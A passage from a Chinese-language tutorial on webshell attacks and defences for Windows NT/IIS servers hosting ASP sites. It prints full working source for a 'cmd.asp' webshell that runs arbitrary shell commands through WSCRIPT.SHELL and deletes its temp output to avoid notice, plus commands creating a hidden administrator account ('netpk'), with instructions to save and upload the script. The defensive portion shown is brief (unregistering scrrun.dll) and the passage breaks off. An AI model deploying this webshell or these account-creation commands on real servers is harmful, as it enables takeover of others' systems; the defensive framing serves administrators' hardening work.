摘要: 前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,...
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与黑客的较量,当然的的NT服务器不能是FAT32分区的,你的NT服务器必须采用NTFS分区,因为只有NTFS才能给你的服务器重要文件设置权限,如果是FAT32分区的,那就没有安全性可言了,以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。
随着网络的高速发展,现在朋友们都装上了宽带网,做虚拟主机生意的提供商生意当然也越来越好了,做网站的朋友也比往年多了起来,但是现在的黑客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell,以取得服务器的管理权,这是让服务器的管理员最头痛的事。黑客们通过各种 webshell 可以在服务器里运行CMD命令,还可以复制、删除文件,在线编辑文件,建立超级用户等。Webshell(也叫网页木马)在这里分很多种,如ASP、CGI、PHP、JSP的webshell都有,现在还流行 SQL 注入的xp_cmdshell等,都属于webshell中的其中一种,现在我们首先介绍的是黑客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出……,都能让黑客取得你服务器的管理权,但是你通过这小小的安全配置,黑客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的,相信吗?不信?请看下文!
攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。
一、基本ASP的WEBSHELL攻击与防范
以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):
例一、种使用脚本绑定CMD命令:
这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,黑客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,黑客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,黑客找到这个 webshell的WWW浏览地址,你的服务器一样会变成黑客的肉鸡,所以危害性极大。
如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c:\ 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。
下面附上这个 cmd.asp 脚本的源代码:
执行命令:
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(“.cmd”)
‘从输入框得到cmd
On Error Resume Next
’如果出现错误,直接跳过,防止弹出错误窗口
set oScript=server.createobject(“WSCRIPT.SHELL”)
‘建立shell(wshshell)对象
set oFileSys=server.createobject(“scripting.filesystemobject”)
szTempFile=“C:\”& oFileSys.GetTempName()
'GetTempName()是fso建立临时文件的一种方法
Call oScript.Run (“cmd.exe /c ”& szCMD &“>” &szTempFile,0,true)
’调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
‘以读的方式打开临时文件
%>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
’输出编码后的文件内容
oFile.close
‘关闭文件
call oFileSys.DeleteFile(szTempFile,True)
’防止被抓住所以删除文件
%>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\winnt\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,